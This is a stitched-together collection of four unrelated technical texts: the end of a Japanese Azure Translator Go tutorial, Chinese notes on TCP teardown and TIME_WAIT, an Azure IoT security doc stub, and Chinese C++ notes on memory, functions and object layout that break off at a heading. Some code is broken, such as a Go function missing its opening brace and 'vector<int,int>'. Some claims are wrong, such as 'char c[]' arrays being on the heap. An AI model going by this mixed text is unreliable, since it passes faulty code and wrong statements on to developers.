if "" == os.Getenv("TRANSLATOR_TEXT_ENDPOINT") {
log.Fatal("Please set/export the environment variable TRANSLATOR_TEXT_ENDPOINT.")
}
endpoint := os.Getenv("TRANSLATOR_TEXT_ENDPOINT")
uri := endpoint + "/breaksentence?api-version=3.0"
/*
* This calls our breakSentence function, which we'll
* create in the next section. It takes a single argument,
* the subscription key.
*/
breakSentence(subscriptionKey, uri)
}
```
## <a name="create-a-function-to-determine-sentence-length"></a>文の長さを調べる関数を作成する
文の長さを調べる関数を作成しましょう。 この関数では、単一の引数である Translator サブスクリプション キーを使用します。
```go
func breakSentence(subscriptionKey string, uri string)
/*
* In the next few sections, we'll add code to this
* function to make a request and handle the response.
*/
}
```
次に、URL を構築しましょう。 URL は、`Parse()` メソッドと `Query()` メソッドを使用して構築されます。 `Add()` メソッドによってパラメーターが追加されることに気付くでしょう。
このコードを `breakSentence` 関数内にコピーします。
```go
// Build the request URL. See: https://golang.org/pkg/net/url/#example_URL_Parse
u, _ := url.Parse(uri)
q := u.Query()
q.Add("languages", "en")
u.RawQuery = q.Encode()
```
>[!NOTE]
> エンドポイント、ルート、および要求パラメーターの詳細については、「[Translator 3.0: BreakSentence](https://docs.microsoft.com/azure/cognitive-services/translator/reference/v3-0-break-sentence)」をご覧ください。
## <a name="create-a-struct-for-your-request-body"></a>要求本文の構造体を作成する
次に、要求本文の匿名の構造体を作成し、`json.Marshal()` を使用して JSON としてエンコードします。 そのコードを `breakSentence` 関数に追加します。
```go
// Create an anonymous struct for your request body and encode it to JSON
body := []struct {
Text string
}{
{Text: "How are you? I am fine. What did you do today?"},
}
b, _ := json.Marshal(body)
```
## <a name="build-the-request"></a>要求を作成する
要求本文を JSON としてエンコードしたので、ご自分の POST 要求を作成し、Translator を呼び出すことができます。
```go
// Build the HTTP POST request
req, err := http.NewRequest("POST", u.String(), bytes.NewBuffer(b))
if err != nil {
log.Fatal(err)
}
// Add required headers to the request
req.Header.Add("Ocp-Apim-Subscription-Key", subscriptionKey)
req.Header.Add("Content-Type", "application/json")
// Call the Translator
res, err := http.DefaultClient.Do(req)
if err != nil {
log.Fatal(err)
}
```
Cognitive Services のマルチサービス サブスクリプションを使用している場合は、要求のパラメーターに `Ocp-Apim-Subscription-Region` も含める必要があります。 [マルチサービス サブスクリプションを使用した認証の詳細を参照してください](https://docs.microsoft.com/azure/cognitive-services/translator/reference/v3-0-reference#authentication)。
## <a name="handle-and-print-the-response"></a>応答を処理して出力する
次のコードを `breakSentence` 関数に追加して、JSON 応答をデコードした後、結果を書式設定して出力します。
```go
// Decode the JSON response
var result interface{}
if err := json.NewDecoder(res.Body).Decode(&result); err != nil {
log.Fatal(err)
}
// Format and print the response to terminal
prettyJSON, _ := json.MarshalIndent(result, "", " ")
fmt.Printf("%s\n", prettyJSON)
```
## <a name="put-it-all-together"></a>すべてをまとめた配置
これで、Translator を呼び出して JSON 応答を返す簡単なプログラムが完成しました。 ここで、プログラムを実行してみましょう。
```console
go run sentence-length.go
```
作成したコードをサンプル コードと比較したい場合は、完全なサンプルを [GitHub](https://github.com/MicrosoftTranslator/Text-Translation-API-V3-Go) から入手できます。
## <a name="sample-response"></a>応答のサンプル
```json
[
{
"detectedLanguage": {
"language": "en",
"score": 1.0
},
"sentLen": [
13,
11,
22
]
}
]
```
## <a name="next-steps"></a>次のステップ
API のリファレンスを見て、Translator でできるすべてのことを理解してください。
> [!div class="nextstepaction"]
> [API リファレンス](https://docs.microsoft.com/azure/cognitive-services/translator/reference/v3-0-reference) | 5,144 | CC-BY-4.0 |
---
layout: post
title: 【精品】TCP四次挥手和TIME_WAIT
categories: 计算机网络
description:
keywords:
---
**FIN_WAIT_1** : FIN_WAIT_1和FIN_WAIT_2状态的真正含义都是表示等待对方的FIN报文。而这两种状态的区别是： FIN_WAIT_1状态实际上是当SOCKET在ESTABLISHED状态时，它想主动关闭连接，向对方发送了FIN报文，此时该SOCKET即进入到FIN_WAIT_1状态。而当对方回应ACK报文后，则进入到FIN_WAIT_2状态，当然在实际的正常情况下，无论对方何种情况下，都应该马上回应ACK报文，所以FIN_WAIT_1状态一般是比较难见到的，而FIN_WAIT_2状态还有时常常可以用netstat看到。（主动方）
**FIN_WAIT_2** ：实际上FIN_WAIT_2状态下的SOCKET，表示半连接 ，也即有一方要求close连接，但另外还告诉对方，我暂时还有点数据需要传送给你(ACK信息)，稍后再关闭连接。
**TIME_WAIT** : 表示收到了对方的FIN报文，并发送出了ACK报文 ，就等2MSL后即可回到CLOSED可用状态了。如果FIN_WAIT_1状态下，收到了对方同时带FIN标志和ACK标志的报文时，可以直接进入到TIME_WAIT状态，而无须经过FIN_WAIT_2状态[同时关闭](https://bingoex.github.io/2015/11/07/net-tcp/)。（主动方）
**CLOSING**（比较少见） : 这种状态比较特殊，实际情况中应该是很少见。正常情况下，当你发送FIN报文后，按理来说是应该先收到（或同时收到）对方的 ACK报文，再收到对方的FIN报文。但是CLOSING状态表示你发送FIN报文后，并没有收到对方的ACK报文，反而却也收到了对方的FIN报文。如果双方几乎在同时close一个SOCKET的话，那么就出现了双方同时发送FIN报文的情况，也即会出现CLOSING状态，表示双方都正在关闭SOCKET连接。
**CLOSE_WAIT** : 表示在等待关闭。当对方close一个SOCKET后发送FIN报文给自己，你系统毫无疑问地会回应一个ACK报文给对方，此时则进入到CLOSE_WAIT状态。接下来呢，实际上你真正需要考虑的事情是察看你是否还有数据发送给对方，如果没有的话，那么你也就可以 close这个SOCKET，发送FIN报文给对方，也即关闭连接。所以你在CLOSE_WAIT状态下，需要完成的事情是等待你去关闭连接。
**LAST_ACK** : 这个状态还是比较容易好理解的，它是被动关闭一方在发送FIN报文后，最后等待对方的ACK报文。当收到ACK报文后，也即可以进入到CLOSED可用状态了。
**CLOSED** : 表示连接中断。
# 为什么需要四次挥手？
那可能有人会有疑问，在tcp连接握手时为何ACK是和SYN一起发送，这里ACK却没有和FIN一起发送呢。原因是因为tcp是全双工模式，接收到FIN时意味将没有数据再发来，但是还是可以继续发送数据（**解决全双工问题**）。
# TIME_WAIT
TIME_WAIT状态会持续2MSL的时间才会转换到CLOSE状态，一般是1-4分钟（现在对于linux是30秒）。MSL(最大分段生存期)：指明TCP报文在Internet上最长生存时间。
只有主动关闭的一方才会进入TIME_WAIT状态。那么端口不够用就是文件描述符不够用了，因为文件描述符只有在从TIME_WAIT状态转换到CLOSE状态后才会真正被系统收回。
## 问题
如果执行主动关闭的一方HOST1不进入到**TIME_WAIT**状态就关闭连接那会发生什么呢？
当重传的FIN消息到达时，因为TCP已经不再有连接的信息了，所以就用RST(重新启动)消息应答，导致HOST2进入错误的状态而不是有序终止状态（**如果主动关闭的一方又开启了一个新的链接，则重发的FIN会将新连接给关闭掉**），如果发送最后ACK消息的一方HOST1处于TIME_WAIT状态并仍然记录着连接的信息，它就可以正确的响应HOST2的FIN消息了。（**最后一个ACK可能丢失并导致HOST2重新发送FIN消息，导致老连接的包会干扰新连接**）
## TIME_WAIT占用的资源
1. TW会占用内存，但是占用内存很小（1W的TW连接占用1M左右）
2. 对CPU也是有影响的，比如TW的端口太多，导致选择可用端口时，需要很多次选择才能成功；但这个影响也是很小的。
3. TW连接会占用大量端口。
4. 被占用的是一个五元组：（协议，本地IP，本地端口，远程IP，远程端口）。对于Web 服务器，协议是TCP，本地IP通常也只有一个，本地端口默认的80或者443。只剩下远程 IP和远程端口可以变了。如果远程IP相同的话，就只有远程端口可以变了。这个只有几万个（net.ipv4.ip_local_port_range），所以当同一客户端向服务器建立了大量连接之后，会耗尽可用的五元组导致问题。
<https://www.zhihu.com/question/29354418?sort=created>
<http://www.cnblogs.com/lulu/p/4149312.html>
## TIME_WAIT优化
### tcp_timestamps
只有该选项开启了，tcp_tw_reuse和tcp_tw_recycle才能起作用。另外tcp_timestamps可以解决PAWS和计算RTT的问题。
### tcp_tw_reuse
需要开启tcp_timestamps时才有效。针对于一个连接，如果开启了该开关，即便该连接处于TW状态，收到SYN包之后，也能建立一条新的连接。该连接跟之前的TW连接5元组相同。但是需要满足下面条件的其中一个：
1. 初始化序列号比老的TW序列号大。
2. 新来的连接的时间戳比老的TW的时间戳大。
### tcp_tw_recycle
快速回收TW，应该是RTO时间内回收。需要开启tcp_timestamps时才有效。
即使快速回收之后，也保留了一些信息，保留的信息有：对端IP、最后的对端过来的时间戳等。对于新来的连接，同时满足下面3个条件时，连接会被拒绝；否则连接不会被拒绝:
1. 来自该IP的TCP连接请求带有时间戳信息；
2. 在MSL时间内，收到过该IP过来的数据；
3. 新连接的时间戳小于保存的TW的时间戳；
### tcp_max_tw_buckets
这个是控制并发的TIME_WAIT的数量，默认值是50几W，如果超限，那么，系统会把多的给destory掉，然后在日志里打一个警告。
### SO_LINGER
```c
struct linger {
int l_onoff; /* 0 = off, nozero = on */
int l_linger; /* linger time */
};
```
1. 设置 l_onoff为0，则该选项关闭，l_linger的值被忽略，等于内核缺省情况，close调用会立即返回给调用者，如果可能将会传输任何未发送的数据。
2. 设置 l_onoff为非0，l_linger为0，则套接口关闭时TCP夭折连接，TCP将丢弃保留在套接口发送缓冲区中的任何数据并发送一个RST给对方，而不是通常的四分组终止序列，这避免了TIME_WAIT状态；（说明如果没有数据被丢弃，也是正常的四次挥手；不是rst）
3. 设置 l_onoff 为非0，l_linger为非0，当套接口关闭时内核将拖延一段时间（由l_linger决定）。
# TCP关闭连接的方式
## 正常关闭
调用close()关闭socket、没close但进程正常结束(当然这是不应该的做法)、进程core掉、在shell 命令行中kill掉进程，都可抽象成“正常”关闭。因为即使core掉，内核也会马上帮应用程序回收(close)socket文件描述符。
## 不正常关闭
客户端崩溃了，此时肯定发不出FIN包了(当然啦，内核都没机会帮应用程序回收资源了)。这种情况，服务器端有如下两种情况。
1、服务器send数据，因为客户端已经崩溃，服务器收不到ACK自然会不停的重传。Berkeley的重传机制，重传8次，相对第一次传的15分钟后仍没收到ACK，则返回ETIMEDOUT或EHOSTUNREAC错误。如果服务器不理会这个错误，再次调用send，则立马返回Broken Pipe错误。
2、服务器不发任何数据了，那只有靠应用层心跳检测机制或Keepalive，来发觉TCP断连了。 | 3,867 | MIT |
---
title: "Azure IoT のセキュリティのベスト プラクティス | Microsoft Docs"
description: "IoT インフラストラクチャをセキュリティで保護するための IoT セキュリティのベスト プラクティス ソリューション開発者、ソリューションのデプロイ担当者、およびソリューションのオペレーター向けの推奨事項が含まれます。"
services: iot-hub
documentationcenter:
author: YuriDio
manager: timlt
editor:
ms.assetid: 84f9ce2b-e8b5-4239-b262-13d0637efc2b
ms.service: iot-hub
ms.devlang: na
ms.topic: article
ms.tgt_pltfrm: na
ms.workload: na
ms.date: 02/16/2017
ms.author: yurid
translationtype: Human Translation
ms.sourcegitcommit: e223d0613cd48994315451da87e6b7066585bdb6
ms.openlocfilehash: b5c3257f6e2134a3e7e7eb9b4a12b95ebb70535e
---
[!INCLUDE [iot-security-best-practices](../../includes/iot-security-best-practices.md)]
## <a name="see-also"></a>関連項目
IoT ソリューションのセキュリティ保護の詳細については、次のリンク先をご覧ください。
* [IoT のセキュリティ アーキテクチャ][lnk-security-architecture]
* [IoT デプロイのセキュリティ保護][lnk-security-deployment]
IoT Hub の機能を詳しく調べるには、次のリンクを使用してください。
* [IoT Gateway SDK を使用したデバイスのシミュレーション][lnk-gateway]
[lnk-security-architecture]: iot-hub-security-architecture.md
[lnk-security-deployment]: iot-hub-security-deployment.md
[lnk-gateway]: iot-hub-linux-gateway-sdk-simulated-device.md
<!--HONumber=Feb17_HO3--> | 1,192 | CC-BY-3.0 |
# 1. 变量
*C/C++*程序内存分为堆区（自由存储区），栈区，全局区（静态区），常量区，代码区。
ELF文件分为代码段，*.data段*，*.bss段*，*.rodata*段以及自定义段。
已经初始化的全局变量以及静态局部变量（包括类的）存放在*.data*段，没有初始化的存放在*.bss*段。由于没有初始化数据，所以其实不占用空间，因此在*ELF*文件中，*.bss*只是一个占位符，只有当程序真正运行起来之后才会在内存上真正的开辟*.bss*空间，并且在*.bss*空间中将变量初始化为0。程序运行之后存放在全局静态区。
常量（字符串常量，*const*变量）存放在*.rodata*段，程序运行后存放在常量区
代码存放在代码段，程序运行后存放在代码区。
当程序被加载到内存中后，操作系统负责加载上述各段，并为程序分配堆和栈。栈存放局部变量以及函数形参，有操作系统自行分配和释放；堆存放由*malloc*函数申请的空间，由程序员显示地分配和释放。
## 1.1 局部变量
定义在某个函数内部或者某个*statement*或者*block*内部的变量，生命周期为函数或者*statement*开始到结束。
## 1.2 全局变量
定义在所有函数之外（包括*main*函数），在*main*函数执行之前进行初始化。
若想实现在*main*函数之前执行某个函数，可以定义一个全局变量，变量值为某个函数的返回值即可。
若想全局变量跨多个源文件，需要在一个文件里进行定义（若没有定义初始化则会发生链接错误），其他文件进行*extern*声明。
## 1.3 静态变量
静态局部变量只定义一个，存放在全局静态区，生命周期同全局变量，但是仅局部可见；静态全局变量只在该文件可见，不能跨文件使用。
可执行二进制程序 = *text + bss(0) + data + rodata*
正在运行的程序 = *text + bss + data + rodata + stack + heap*
## 1.4 *heap*和*free store*释疑
网上有说法是*malloc*申请的内存在*heap*区而*new/new[]*申请的内存在*free store*区，但是根据我的查阅的资料发现二者是没有区别的。
首先是根据*Herb Sutter* (*served as secretary and convener of the ISO C++ standards committee for over 10 years*)对*heap*的说法:
> The heap is the other dynamic memory area, allocated/freed by malloc/free and their variants. Note that while the default global new and delete might be implemented in terms of malloc and free by a particular compiler, the heap is not the same as free store and memory allocated in one area cannot be safely deallocated in the other. Memory allocated from the heap can be used for objects of class type by placement-new construction and explicit destruction. If so used, the notes about free store object lifetime apply similarly here.
对于*free store*他觉得是：
> The free store is one of the two dynamic memory areas, allocated/freed by new/delete. Object lifetime can be less than the time the storage is allocated; that is, free store objects can have memory allocated without being immediately initialized, and can be destroyed without the memory being immediately deallocated. During the period when the storage is allocated but outside the object's lifetime, the storage may be accessed and manipulated through a void* but none of the proto-object's nonstatic members or member functions may be accessed, have their addresses taken, or be otherwise manipulated.
他觉得我们做这个区分是因为：
> We distinguish between "heap" and "free store" because the draft deliberately leaves unspecified the question of whether these two areas are related.
而*C++*之父对此的回应是：
> In other word, the "free store" vs "heap" distinction is Herb's attempt to distinguish malloc() allocation from new allocation.
>
> Because even though it is undefined from where new and malloc() get their memory, they typically get them from exactly the same place. It is common for new and malloc() to allocate and free storage from the same part of the computer's memory. In that case, "free store" and "heap" are synonyms. I consistently use "free store" and "heap" is not a defined term in the C++ standard (outside the heap standard library algorithms, which are unrelated to new and malloc()). In relation to new, "heap" is simply a word someone uses (typically as a synonym to "free store") - usually because they come from a different language background.
他认为标准没有定义*new*和*malloc*申请内存的位置，但是可以把*free store*和*heap*当成是一块区域。
另外经过我查看*GCC*或者*VSC++*源码发现*new operator*的实现都是调用的*malloc*：
```cpp
//GCC gcc/libstdc++-v3/libsupc++/new_op.cc
_GLIBCXX_WEAK_DEFINITION void *
operator new (std::size_t sz) _GLIBCXX_THROW (std::bad_alloc)
{
void *p;
/* malloc (0) is unpredictable; avoid it. */
if (__builtin_expect (sz == 0, false))
sz = 1;
while ((p = malloc (sz)) == 0)
{
new_handler handler = std::get_new_handler ();
if (! handler)
_GLIBCXX_THROW_OR_ABORT(bad_alloc());
handler ();
}
return p;
}
//VSC++ VC/Tools/MSVC/14.10.25017/crt/src/vcruntime/new_scalar.cpp
void* __CRTDECL operator new(size_t const size)
{
for (;;)
{
if (void* const block = malloc(size))
{
return block;
}
if (_callnewh(size) == 0)
{
if (size == SIZE_MAX)
{
__scrt_throw_std_bad_array_new_length();
}
else
{
__scrt_throw_std_bad_alloc();
}
}
}
}
```
所以我们不必纠结二者的差异，就当成一样的就好了。
*reference*:
> http://zamanbakshifirst.blogspot.com/2007/02/c-free-store-versus-heap.html
>
> http://www.gotw.ca/gotw/009.htm
# 2. 字符、字符串
`char a = ‘a’;`
`char *b = “abc”;`
上述两个类型为字符变量和字符串常量，字符串常量存储在*ELF*文件的*.rodata*段，程序运行后加载到内存空间的常量区。两个相等的字符串常量的地址是一样的，这点有点像java。
`char c[] = “abc”;`和`char c[80];`都是*char*型数组，存放在堆区，c都为右值，不能进行赋值，但是c[0]为左值。
*string*类型是模板参数为*char*的*basic_string*模板类的类型定义：
`typedef basic_string<char, char_traits<char>, allocator<char>> string;`
string可以说是vector\<char\>，但是多重载了一些操作符方便我们对字符串进行操作。
# 3. 浮点类型
定义在*IEEE754*标准中，规约化计算方式为$(-1)*sign*(2^(exponent-1)-2^{e-1}+1)*1.(fraction)$,
非规约化计算方式为$(-1)*sign*(2^(-126))*0.(fraction)$;
规约和非规约的区别为指数位是否大于0，若为0则为非规约数，指数位默认大小为$2^(-126)$；
若大于0则为规约数，指数为大小为$2^(exponent-1)-2^(e-1)+1$。
*fp16*: 
*float*: 
*double*: 
# 4. 类型提升
表达式中可以使用整数的地方，就可以使用枚举类型，或有符号或无符号的字符、短整数、整数位域。如果一个*int*可以表示上述类型，则该值被转化为*int*类型的值；否则，该值被转化为*unsigned int*类型的值。这一过程被称作*integral promotion*。
整型提升的意义在于：表达式的整型运算要在CPU的相应运算器件内执行，CPU内整型运算器(ALU)的操作数的字节长度一般就是*int*的字节长度，同时也是CPU的通用寄存器的长度。因此，即使两个*char*类型的相加，在CPU执行时实际上也要先转换为CPU内整型操作数的标准长度。通用CPU（*general-purpose CPU*）是难以直接实现两个8比特字节直接相加运算（虽然机器指令中可能有这种字节相加指令）。所以，表达式中各种长度可能小于`int`长度的整型值，都必须先转换为*int*或*unsigned int*，然后才能送入CPU去执行运算。
各种整形的长度：
| 类型 | 16位系统(byte) | 32位系统(byte) | 64位系统(byte) |
| --------- | :------------: | :------------: | :------------: |
| char | 1 | 1 | 1 |
| char* | 2 | 4 | 8 |
| short | 2 | 2 | 2 |
| int | 2 | 4 | 4 |
| long | 4 | 4 | 8 |
| long long | 8 | 8 | 8 |
所以指针类型只能安全的转换成nullptr_t或者long long
# 5. 函数
函数可分为匿名函数和有名函数，匿名函数使用*lambda*表达式实现，匿名函数一般使用在该函数只使用一次的情况下，比如为*std::sort*定义一个比较函数：
```cpp
using itype = vector<int,int>;
itype a;
itype b;
```
我们希望通过比较第二个*int*的值来排序，那么可以像这样调用
```cpp
std::sort(a,b,[&](itype a, itype b ){
if(a[1]>b[1])
return true;
return false;
});
```
function模板类可包装其他任何*callable*目标——函数、*lambda* 表达式、 *bind* 表达式或函数对象，还有指向成员函数指针。我们可将匿名函数包装于*function*中使其成为有名函数，可使用*function*接受*bind*返回使成员函数作为线程入口函数：
```cpp
using namespace std;
using std::placeholder;
Class MyClass{
public:
void MyFunc(int a, int b)
{
count = a + b;
}
private:
int count;
};
MyClass mc;
function<void(int, int)> func = bind(MyClass::MyFunc,mc,_1,_2);
int a = 10;
int b = 100;
Thread T(func, a, b);
T.join();
cout<<”mc.count=”<<mc.count<<endl;
```
*std::bind*的返回值类型为*unspecified*，所以不能比较两个*bind*后的函数是否相等。
## 5.1 函数声明
函数声明不需要函数实现，不需要形参名。
## 5.2 函数定义
函数定义需要声明加实现
## 5.3 函数调用
对于一个程序来说第一个进栈的是主函数中函数调用后的下一条指令（函数调用语句结束的下一条可执行语句）的地址，然后是函数的各个参数，在大多数的*C*编译器中，参数是由右往左入栈的，然后是函数中的局部变量。注意静态变量是不入栈的。当本次函数调用结束后，局部变量先出栈，然后是参数，最后栈顶指针指向最开始存的地址，也就是主函数中的下一条指令，程序由该点继续运行。
函数调用大致包括以下几个步骤：
返回地址入栈：将当前代码区调用指令的下一条指令地址压入栈中，供函数返回时继续执行
参数入栈：将参数从右向左依次压入系统栈中
代码区跳转：处理器从当前代码区跳转到被调用函数的入口处
栈帧调整：具体包括
保存当前栈帧状态值，已备后面恢复本栈帧时使用（EBP入栈）
将当前栈帧切换到新栈帧。（将ESP值装入EBP，更新栈帧底部）
给新栈帧分配空间。（把ESP减去所需空间的大小，抬高栈顶）
ESP：栈指针寄存器(extended stack pointer)，其内存放着一个指针，该指针永远指向系统栈最上面一个栈帧的栈顶
EBP：基址指针寄存器(extended base pointer)，其内存放着一个指针，该指针永远指向系统栈最上面一个栈帧的底部
函数栈帧：ESP和EBP之间的内存空间为当前栈帧，EBP标识了当前栈帧的底部，ESP标识了当前栈帧的顶部。
EIP：指令寄存器(extended instruction pointer)， 其内存放着一个指针，该指针永远指向下一条待执行的指令地址。
## 5.4 函数副作用(*side effect*)
函数副作用指当调用函数时，除了返回函数值之外，还对主调用函数产生附加的影响。例如修改全局变量（函数外的变量），修改参数或改变外部存储。函数副作用会给程序设计带来不必要的麻烦，给程序带来十分难以查找的错误，并降低程序的可读性。严格的函数式语言要求函数必须无副作用。没有副作用的函数为纯函数（pure function）。
## 5.5 函数参数传递
分为值传递和引用传递，引用传递形参就是实参，不会新构造一个副本。
传指针和传引用性能是一样，通过汇编我们能很容易观察出来：
```cpp
void func(int *a, int &b)
{
int c = *a + b;
return;
}
mov rax,qword ptr [a]
mov eax,dword ptr [rax]
mov rcx,qword ptr [b]
add eax,dword ptr [rcx]
```
都是先将地址存入寄存器，再从地址中将值取出来。
对于传值和传引用/传指针来说，内置类型肯定是传值要快的，但是对于比较复杂的对象或者结构体肯定还是应该传指针或者传引用。
## 5.6 缺省参数
函数参数设置默认值之后调用时可缺省参数，但是只可以从右往左设置默认值，不能够中间空没有设置默认值的参数。
缺省参数是在函数声明时指示好的，在定义时就不用指示了。在编译期决定了函数的缺省参数，所以对于虚函数来说最好不要设置缺省参数，因为一个是编译期决定的一个是运行时决定的，容易导致不是我们期望的结果。
### 5.6.1 虚函数带默认参数
若父类和子类虚函数都带默认参数，而由于默认参数是静态联编，而虚函数是动态联编，所以默认参数的选择是根据调用函数的对象指针类型决定的，但是调用子类虚函数还是父类的虚函数是根据该指针指向的具体对象决定的：
```cpp
class A {
public:
virtual void display(std::string strShow = "I am Base class !")
{
std::cout << strShow << std::endl;
}
private:
int a[20];
};
class B :public A
{
public:
virtual void display(std::string strShow = "I am Derive class !")
{
std::cout << "B:"<< strShow << std::endl;
}
};
int main()
{
B b;
B *b1 = &b;
A *a = &b;
b1->display();//"B:I am Derive class !"
a->display();//由于对象实体都是B类，所以都是调用B的display函数，但是由于调用的指针是A类型，所以选择的是A类的默认参数，所以输出"B:I am Base class !"
return 0;
}
```
## 5.7 *inline*函数
编译器会选择性在编译时将*inline*函数在调用的地方直接替换成函数体，省去了函数调用的开销。和宏定义的区别在于：
+ 1.*inline*函数会进行参数检查
+ 2.*inline*函数在编译时展开，宏定义在预编译时替换
+ 3.*inline*函数通过调整优化级别可以进行*debug*
*inline*函数的函数体若小于调用函数产生的压栈出栈的代码大小则会使得程序占用内存变小，若函数体过大则会增大程序占用的内存大小。
由于函数体直接被替换到了调用处，编译器可根据上下文信息进行进一步的优化。
若没有使用*inline*函数，程序至函数调用处需要跳转去函数体所在位置的代码，一般函数调用位置和函数体位置并不相近，这样容易形成缺页中断。
**由于虚函数的运行时决定的，所以虚函数是不会被inline的，但是加了inline也不会报错**。
## 5.8 函数重载
根据标准重载函数的定义：
> When two or more different declarations are specified for a single name in the same scope, that name is said to be overloaded.
简而言之在同一个作用域内两个函数可以同时存在并且被调用：
* 函数名称必须相同
* 参数列表必须不同（个数不同、类型不同、参数排列顺序不同等）
* 函数的返回类型可以相同也可以不相同
* 仅仅返回类型不同不足以成为函数的重载
* *C++*通过*name mangling*来实现函数重载，以及域名空间等作用域的功能
子类不能重载父类的函数，子类父类属于不同的域名空间，如果基类声明被重载了，则应该在派生类中重新定义所有的基类版本。**如果在派生类中只重新定义一个版本，其他父类版本将会被隐藏，派生类对象将无法直接调用用它们**，但是可以转成父类指针再进行调用，因为访问控制是编译期决定的，所以编译期如果是父类调用就编译通过，但是运行时使用的子类对象实体。
```cpp
class Base {
public:
void func1() {
cout << "Base func1" << endl;
}
};
class Derive : public Base
{
public:
void func1() {
cout << "Derive func1" << endl;
}
};
int main()
{
Derive *d = new Derive();
d->func1();//Derive func1
static_cast<Base *>(d)->func1();//Base func1
return 0;
}
```
简而言之，重新定义函数，并不是重载。在派生类中定义函数，将不是使用相同的函数重载基类的函数，而是隐藏同名的基类方法，不管参数的特征如何。如果我们需要在子类中使用所有父类定义的某个函数但又不想重写，可以使用如下方法：
```cpp
using A::print;//namespace declaration
```
### 5.8.1 重载函数匹配原则
- 1.精确匹配，包括实参类型和形参类型相同，实参从数组或函数转换成对应的指针类型，向实参添加顶层const或从实参删除顶层const
- 2.通过const转换实现的匹配
- 3.通过类型提升实现的匹配
- 4.通过算数类型转换实现的匹配
- 5.通过类类型转换实现的匹配
# 6. 类
在*C++*中，结构体是由关键词*struct*定义的一种数据类型。他的成员和基类默认为公有的（*public*）。由关键词*class*定义的成员和基类默认为私有的（*private*）。这是*C++*中结构体和类仅有的区别。
## 6.1 访问控制
*C++*类的重要属性就是封装和继承。因此，最关键的问题就是权限问题，*public*，*protected*，*private*控制的就是访问权限，**这些访问权限控制都是在编译器决定的，在运行时的是进行不了访问控制的**，比如说父类对象可以调用子类私有虚函数。
| | public | protected | private |
| -------------------------- | ------ | --------- | ------- |
| 类成员是否可以访问 | Y | Y | Y |
| 友元函数是否可以访问 | Y | Y | Y |
| 子类是否可以访问 | Y | Y | N |
| 类的实例化对象是否可以访问 | Y | N | N |
| 类的静态函数 | Y | Y | Y |
三种继承方式导致的权限变化：
| | public | protected | private |
| ------------- | --------- | --------- | ------- |
| public继承 | public | protected | private |
| protected继承 | protected | protected | private |
| private继承 | private | private | private |
通过对象我们可以直接访问对象的成员函数以及成员变量，我们也可以通过*pointer to member*来对成员进行访问：
```cpp
class MyClass{public: int value;};
int MyClass::*ptr = MyClass::value;
MyClass mc;
mc.value = 10;
cout<<mc.*ptr<<endl;
```
### 6.1.1 logical constness
有以下类 `BigArray`，其成员 `vector v;` 是一个数组数据结构，为了让外部可以访问该数组，此类提供了一个 `getItem` 接口，除此之外，为了计算外部访问数组的次数，该类还设置了一个计数器 `accessCounter` ，可以看到用户每次调用 `getItem` 接口，`accessCounter` 就会自增，很明显，这里的成员 `v` 是核心成员，而 `accessCounter` 是非核心成员，我们希望接口 `getItem` 不会修改核心成员，而不考虑非核心成员是否被修改，此时 `getItem` 所具备的 `const` 特性就被称为*logic constness*。
```cpp
class BigArray {
vector<int> v;
int accessCounter;
public:
int getItem(int index) const {
accessCounter++;
return v[index];
}
};
```
但是，上面的代码不会通过编译，因为编译器不会考虑*logic constness*，于是就有了*bitwise constness*这个术语，可以理解为字面上的*constness*属性，编译器只认*bitwise constness*。为了解决这种矛盾，可以把 `accessCounter` 声明为 `mutable` 的成员，即：
```cpp
class BigArray {
mutable int accessCounter;
// const_cast<BigArray*>(this)->accessCounter++; // 这样也行，但不建议这么做
// ...
};
```
## 6.2 对象
+ 1) 对象是类实例化（调用构造函数）之后的结果，仅对`public`成员有访问权限，释放时会自动调用析构函数。
+ 2) 对象模型（以下操作在64位下操作）
+ a) *C++*中虚函数的作用主要是为了实现多态机制。多态，简单来说，是指在继承层次中，父类的指针可以具有多种形态——当它指向某个子类对象时，通过它能够调用到子类的函数，而非父类的函数。
+ b) 当一个类本身定义了虚函数，或其父类有虚函数时，为了支持多态机制，编译器将为该类添加一个虚函数指针（*vptr*）。虚函数指针一般都放在对象内存布局的第一个位置上，这是为了保证在多层继承或多重继承的情况下能以最高效率取到虚函数表。
+ c) 当*vp*tr位于对象内存最前面时，对象的地址即为虚函数指针地址。我们可以取得虚函数表指针的地址：
```cpp
Base b;
long long * vptrAdree = (long long *)(&b);
cout << "虚函数指针（vprt）的地址是：\t"<<vptrAdree << end;
```
* * 我们强行把类对象的地址转换为*int\** 类型，取得了虚表指针。虚表指针指向虚函数表，虚函数表中存储的是一系列虚函数的地址，虚函数地址出现的顺序与类中虚函数声明的顺序一致。对虚表指针取值值，可以得到虚函数的地址，也即是虚函数表第一个虚函数的地址:
```cpp
typedef void(*Fun)(void);
Fun vfunc = (Fun)*( (long long *)*(long long*)(&b));
cout << "第一个虚函数的地址是：" << (long long *)*(long long*)(&b) << endl;
cout << "通过地址调用虚函数Base::print()：";
vfunc();
```
* * 我们把虚表指针的值取出来： *\*(long long\*)(&b)*，它是一个地址，第一个虚函数的地址
把虚函数的地址强制转换成 *long long\** :*(long long\*) \*(long long\*)(&b)*
再把它转化成我们Fun指针类型： *(Fun)\*(long long \*)\*(long long\*)(&b)*
这样，我们就取得了类中的第一个虚函数，我们可以通过函数指针访问它。
同理,第二个虚函数的地址为：*(long long\*)(\*(long long\*)(&b)+1)*
+ + d) 子类若*override*了一个父类的虚函数，其虚函数表中对应被*override*的虚函数会替换成自己*override*的函数，若有新增虚函数则在虚函数表后面累加新的虚函数地址。
+ e) 所以多继承类的对象内存分布为：
| 地址 | 内容 |
| ---- | -------------------- |
| | 第一个父类虚表指针 |
| | 第一个父类成员变量*n |
| | 第二个父类虚表指针 |
| | 第二个父类成员变量*m |
| | 自身的成员变量*k |
* f) 对于菱形继承的对象来说，孙子类继承自两个父类，而两个父类继承自一个祖父类，此时两个父类都会调用一次祖父类的构造函数，并有一套祖父类成员变量的副本，所以孙子类就有两套祖父类成员变量的副本，虚继承则有另外一套内存模型。内存分布为：
| 地址 | 内容 |
| ---- | ----------------------------------------- |
| | 第一个父类虚表指针 |
| | 祖父类成员变量\*n + 第一个父类成员变量*n1 |
| | 第二个父类虚表指针 |
| | 祖父类成员变量\*m +第二个父类成员变量*m1 |
| | 自身的成员变量*k |
+ 3)对象大小
+ a) 空类的大小为1；
+ b) 类的（静态）成员函数，静态成员变量不占用类的空间；
+ c) 若有虚函数增加一个虚函数表指针的大小；
+ d) 虚继承的子类也需要加上n个父类的虚函数表指针；
## 6.3 构造函数/析构函数
